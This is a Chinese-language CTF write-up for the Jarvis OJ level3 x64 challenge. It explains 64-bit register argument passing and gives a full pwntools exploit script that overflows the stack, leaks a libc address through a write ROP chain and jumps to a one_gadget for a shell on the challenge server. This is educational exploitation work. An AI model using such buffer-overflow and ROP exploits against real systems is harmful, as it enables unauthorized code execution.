题目来源 Jsarvis OJ level3(x64)
附件下载链接:level3_x64.rar.9169aec8b6cb4bfc3a0f5c50a7519004
这道题和上一道题的区别是这是一个64位程序
这里小结一下,32位程序的函数参数是存放在父函数的栈帧中的,在子函数调用的时候,父函数会将子函数需要的参数逆序地压入栈中,当子函数引入参数时,会通过[bp+8],[bp+c]…(逐各加4,32bit=4Byte可以这么理解)来引入参数。可以参考这个图:
而64位的程序它的前6个参数是依次存放在rdi、rsi、rdx、rcx、r8、r9寄存器中,第七个参数存放于栈中。
现在来讲讲这道题的解题思路
先检查保护措施
和上一题一样的溢出位置
通过rop链来给寄存器赋值,这里我选择0x4006b3和0x4006b1,因为我们是利用write输出打印得到我们想要泄露的got地址,只需要三个参数,需要用到rdi、rsi、rdx,所以r15就随便赋值。
然后就gedget
这里我用的是第二个gadget,因为第一个我试了试没用。
exp:
from pwn import *
io=remote("pwn2.jarvisoj.com",9883)
e=ELF("./level3_x64")
lib=ELF("./libc-2.19.so")
di_ret=0x4006b3
si_r15=0x4006b1
payload=b'a'*0x88+p64(di_ret)+p64(1)+p64(si_r15)+p64(e.got['__libc_start_main'])+p64(0)+p64(e.plt['write'])+p64(e.symbols['vulnerable_function'])
io.sendlineafter('\n',payload)
libmain=u64(io.recv(8))
base=libmain-lib.symbols['__libc_start_main']
one_gadget=base+0x4647c
payload1=b'a'*0x88+p64(one_gadget)
io.sendlineafter('\n',payload1)
io.interactive()